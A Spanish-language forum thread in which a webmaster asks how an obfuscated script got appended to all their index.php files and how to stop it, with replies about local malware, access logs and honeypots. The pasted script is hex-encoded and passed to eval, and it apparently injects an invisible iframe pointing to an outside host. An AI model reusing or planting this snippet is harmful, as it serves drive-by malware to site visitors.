Troyano en index.php

[sergiologa]

Buenas,

Todas mis webs han sido atacadas, el antivirus me dice JS:IFrame-AC [Trj] y todos los index llevan esta línea al final:

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d6 5207372633d22687474703a2f2f73697661737369676f72746 12e636f6d2f666f72756d2e7068703f74703d3863363035633 6626664643962326635222077696474683d223122206865696 768743d223122206672616d65626f726465723d2230223e3c2 f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+= String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

Eliminándola funcionan de nuevo pero estaría muy agradecido si alguien me pudiera decir cómo han inyectado esta línea en mi código y cómo puedo evitar que lo hagan otra vez, puesto que es la primera vez que me pasa y estoy alucinando. Y si alguien me puede decir si hay forma de averiguar quién me ha atacado invito a cenar!

Muchísimas gracias!
Saludos

[madrikeka]

Probablemente un ejecutable que acabó en tu PC, el antivirus no te dice la ruta de lo que encontró?

Una de las cosas que puedes hacer e sinstalar un honeypot:

Prueba a ver si te sirve esto:

http://www.securitybydefault.com/201...a-escrito.html

Y con Linux, ya solo los logs de acceso te aparecería las IPs.

Un saludo.

[sergiologa]

pues sí que salía algo del chrome.exe, he intentado reproducir el error ahora metiendo el mismo script para ver la ruta pero ya no peta, así que lo daré por zanjado y estaré alerta para la próxima

voy a trastear con el honeypot a ver si me entero de algo

muchísimas gracias!